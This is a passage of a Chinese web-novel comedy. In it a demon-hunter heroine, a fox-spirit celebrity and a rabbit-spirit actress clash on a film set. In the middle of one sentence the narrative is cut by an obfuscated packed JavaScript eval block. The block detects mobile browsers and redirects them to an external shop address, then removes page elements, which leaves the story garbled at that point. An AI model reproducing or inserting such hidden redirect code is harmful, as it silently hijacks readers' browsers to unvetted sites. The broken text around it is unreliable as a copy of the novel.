“他没用锁仙佩。”归玄子神色严肃,“他说他要证明给我看,就算是妖怪,也有坦荡君子,与人无异。” “听起来不像只坏妖啊。”白茫抓了抓脑袋。 “那他为什么这么多年来带着锁仙佩毫无下落,也不曾给师母报过口信?”祝青由陷入沉思。 “人是会变的,也许妖也会。”归玄子凉凉道,“降妖师协会里当年也是见妖就杀,绝不废话的狠角色,现在不也满口仁义道德,谈什么人妖和谐了吗?徐青远是个聪明货色,他有那样的志向,不可能一辈子单打独斗,也许你们应该去找降妖师协会碰碰运气。” 祝青由深以为然,但还是忍不住发问:“那师叔你呢,你为什么发生了这么大的变化?” “因为师叔我改变了梦想,”归玄子嬉皮笑脸道,“我当年的梦想是要荡尽妖魔,守卫人间。” 他突然把门打开,房间内墙上桌上床上天花板上,到处都贴满一位甜美娇俏的萝莉女星的照片。 “而现在的梦想就是要守护甜心殿下陈罗罗小姐!”师叔抱着从门上小心撕下的陈罗罗海报,动情地说,“我努力打工的唯一目的,就是要给罗罗酱买票打投,助力她登上今年总选第一。” “……” “你们宗印派的爱好真是如出一辙啊。”白茫看着祝青由的眼睛感慨。 “闭嘴。”祝青由给了他一拳。 “所以什么降妖啊,协会啊,宗门啊,这些事情你们小辈能自己解决的就自己解决好了,不行就放弃,跟着师叔一起成为罗罗粉丝后援团的一份子吧!”师叔从衣柜里拿出一件印着“我爱罗”三个字的文化衫。 真的不怕人家日本人告你侵权吗……祝青由强忍着吐槽的冲动。 师叔喜欢的少女偶像肤白貌美双眼皮齐刘海,似乎定位就是专攻宅男市场,每一张照片的角度都充满了刻意凹就的楚楚可怜清纯懵懂。 难以理解师叔一大把岁数了,居然还喜欢这种类型,实在是为老不尊。 这种流水线美女在娱乐圈没什么辨识度,但祝青由却越看越觉得很眼熟。 “陈罗罗……”她默念这个名字,“……不就是《狂澜鼠灾》的女主角吗?” 15. 第十五章 一直到深夜的时候,祝青由和白茫才提着大包小包的回到家。 师叔很热情,送了他们一大堆游乐园的玩偶气球,还给他们开了员工通道,无需排队就能玩各个项目。 两人筋疲力尽地坐在地上,才发现师叔给的礼物里还塞了不少陈罗罗的美照,看来是铁了心要卖这个安利。 “真是难以想象我师叔会变成这样。”祝青由长吁短叹。 “这有什么?”白茫不以为意,“程序员三十五岁都得被优化,你师叔可能都一百三十五岁了,改个行很正常。” “倒不是因为这个,只是他如此沉迷于美色,日后谁来帮我们一起寻找锁仙佩呢。” “找不到就找不到呗。”白茫起身,把带回家的东西收拾好。 “要是一直找不到,我就得做你一辈子的经纪人了。”祝青由一想到白茫的律师函就牙疼。 “哼,一直给我当经纪人又怎么了。难道不行吗?” “当然不行了。”祝青由心直口快,“我是降妖师,宗印派还等着我复兴,世上还有很多大事等着我去处理。” “好好好,大降妖师。留在我这个小地方,和我这只臭狐狸呆在一起真是委屈你了!”白茫突然生起气来,扭头走了。 祝青由丈二和尚摸不着头脑,不明白这只狐狸的脸色怎么说变就变。 兴许是换季了,到了小动物们躁动的季节。 她上网发帖询问怎么办,一个自称终极犬科研究专家的账号告诉她:不用慌,没绝育的话有异动很正常,放置两天不用管就行了。 祝青由就真不管了。 第二天,白茫脸色就更臭了。 两人去片场的时候,所有人都看出了氛围的不对劲。 两人面色如常,跟所有人都正常说话,唯独不肯和对方对视。 娱乐圈内都是人精,深知越是回避,越有奸情。 当众打情骂俏的,未必有一腿;刻意闭口不谈的,说不定背后孩子都生了一窝了。 这对狗狗祟祟的男女每天都差不多时间到场,一个人请假另一个人马上不来上班,表面上保持距离,实际上从未相隔超过一百米。 这拙劣的演技只要正常发挥,今年金扫帚影帝花落谁家已毋庸置疑。 可惜这里大家都是娱乐圈里的糊糊,没人敢管大咖的事。 祝青由虽然是圈内新面孔,但也正因为一点来路背景都查不到,却空降顶流经纪人,在众人眼里才越发显得深不可测。 传言说,就是这位神秘的经纪人一意孤行,逼着顶流白茫来演这种没人看好的小破剧。可见背后势力之大,不容小觑。 也许,她是大富婆,白茫是被她玩弄的小白脸,接这种烂片是她对白茫的服从性训练。 想到这里,众人均对她有了几分敬而远之。 只有阿方,看到祝青由来了,高高兴兴地走过去送给她一个礼物:“祝、祝姐,这个给你……” 祝青由打开一看,伴随着叮叮当当的音乐声,不同造型的白茫亚力克全身立牌此起彼伏地出现,最后中间缓缓浮现出一张白茫的臭屁大头照片和“守护全世界最好的茫茫”大字。 “听白哥说,你以前也是他的狂热粉丝。这是我之前亲手做的,送给你。”阿方的眼神很真挚。 祝青由介绍她以驯鼠师的身份入组,引导几百只小老鼠配合摄影师营造出万鼠狂奔的效果,为剧组省了不少特效钱。 长期与世隔绝的生活令她不擅和人类打交道,说话做事总带着一股稚气,但心智也在工作中提升了不少,隐隐知道了自己从前的行为令人反感,也不再打扰白茫。 看着无数个白茫在眼前荧光闪烁,祝青由一口气梗在喉咙里吐不出来,想让她把它拿走,又怕伤了小女孩的心。 “我其实已经脱粉很久了,你还是自己留着吧。”祝青由把它收好。阿方还不知道他俩住在一起,真想看到这张脸,抬头就够了。 阿方很珍惜地把东西收好:“那我把它送给白哥……” “别别别,”祝青由连忙拦住她,“他最近心情不好别招惹他。” “怎么啦?” 她挠了挠头,一时也不知道怎么说:“大概男人每个月都会有这么几天的吧。” “哦……” 此时,她们口中正处于特殊时期的白茫冷着一张脸,独自一个人坐在休息室,与众人隔着一道透明玻璃门,浑身散发着超低气压。 他也不知道为什么祝青由今天居然理都不理自己。 虽然他也没理她,但是安抚手下艺人的情绪不应该是经纪人的分内之事吗! 他要摆烂了,今天祝青由不哄好他,他就绝不认真拍戏! 他这样想着,休息的时候看着祝青由拿着俩盒饭朝着这边走过来。 呵,女人,又来这套。白茫得意一笑,可惜本狐可不会像上次那样好糊弄了,但如果你接着送饭的名义和我破冰的话,本狐也不会不搭理你。 “哇,谢谢祝姐,我还不知道饭在哪里拿呢。”阿方很高兴地接过盒饭。 白茫差点喷出一口血,但眼见着祝青由手里还有一份盒饭,便想着等下她要是把饭拿给自己,自己就故作推辞地让她先吃,展现一下大明星该有的绅士风度。 说不定她一时感动,就不再想什么降妖师,发誓要给自己当一辈子牛马不离不弃了。 “哇,好香的饭啊,鼠鼠我好久没吃这么新鲜的啦。”鼠老头不知道从哪里钻出来,接过了盒饭。 “灰爷爷,其他的小老鼠有饭吃吗?” “不用管它们,它们自己会去偷的。”鼠老头即便化形了也是鼠态毕出,埋在饭里头也不抬一下。 白茫气得七窍生烟。他们自己会去偷你怎么不也去偷,你们鼠界没有自己的养老保险吗,怎么一把年纪还要抢别人的饭吃。 就在他内心天人交战的时候,休息室内却突然多了一道婀娜多姿的身影。 “白老师~”来者拖着甜蜜腻人的嗓音,一脸娇羞地挤到对方身边,“这是我今天早上亲手做的饭菜,好像有点太多了,你愿不愿意和我一起~” 白茫抬头扫了一眼,发现来者竟就是这部戏的女主角——陈罗罗。 这部灾难片刚开始拍摄,两人对手戏还很少,要不是昨日在归玄子卧室里摄入了致死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372630|199996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 量的写真海报,他可能都认不出来这是谁。 “祝姐,你快看你快看……”阿方嘴里塞满了饭,瞥见休息室里的动静,急得直摇祝青由的胳膊。 祝青由回头一看,也激动了起来:这不是师叔的梦中情人吗?!她不是走清纯路线的吗,怎么打扮得这么性感? 白茫眼角余光暗自观察祝青由,见她瞪大眼睛,一时心头暗爽,装模做样低声问陈罗罗;“你这样来找我,就不怕别人说闲话?” 陈罗罗这下来劲了,她不怕男人嘴上拒绝她,就怕完全不理她。苍蝇不叮无缝蛋,白茫既然接腔就说明有戏,连忙趁热打铁。 “我们是这部戏的男女主,本来就要配合剧方一起炒cp的呀。”她凑近白茫耳边,吐气如兰,“白老师是不愿意,还是怕有人舍不得呀……” 她自然听说过白茫和他那神秘经纪人的绯闻。但她作为小公司选秀出来的宅男女神,演绎生涯能接到的最好资源,也就是眼前的烂片了。 但白茫不一样,自己的天花板是人家偶尔屈尊一次的垫底,不管说什么都得抓住机会。 不远处祝青由见他俩举止亲密,遗憾地摇了摇头:师叔啊,你别急着打工冲销量了,你马上就要塌房啦。 白茫见好就收,冷冷回道:“都是百年妖精,就没必要玩什么聊斋了吧。小·兔·子。” 陈罗罗一笑露出兔牙:“狐哥哥,既然都是同族,就帮帮人家嘛~教科书上都说小兔兔每两周都会发情一次,很难受的~” 没接受过九年义务制教育的白茫还真不知道这一点,只是用冷淡的神情掩盖了无知的学识:“只怕我女朋友不会同意。” 休息室四面都是透明玻璃,这里的动静剧组其他人也看得见,纷纷用目光彼此交流: “好经典的绿茶女配勾引男主剧情,感觉在一百篇女频文里都出现过。” “等下女主就要误会男主,然后女配羞辱女主,女主绝地反击了。” “女主呢,女主在哪里?” “嘘嘘嘘,祝老师要走过去了!” “会不会有扇耳光情节啊,好期待啊……” “……” “女朋友?是那个经纪人吗?”陈罗罗皱起眉头,又继续撒娇,“他们好坏啊,都说你是她包养的小白脸,我知道白哥哥才不是那种人呢~” 要是祝青由真是个富婆大款,她还更想巴结她呢,奈何自己生错了性别,只能勉强勾引一下眼前的狐狸了。 “我和她倒不是那种关系。”白茫见祝青由正快步走来,嘴角不自觉浮起一丝微笑,“她是降妖师,我是她豢养的灵宠。” 祝青由推门而入。 “呱呀!”陈罗罗吓得一蹦三尺高,用实践证明了教科书上说的兔子弹跳力极强是一句科学的、严谨的、正确的表述。 祝青由还没说话,只见这部戏的女主角、师叔的梦中情人、万千宅男的女神、三十年修为的兔子精、意图勾引男主角的脸谱角色、外表清纯可爱内心狂野浪荡的粉红佳人—— 陈罗罗噗通一声跪在地上: “降妖师大人饶了我吧!我不是故意勾搭你灵宠的!”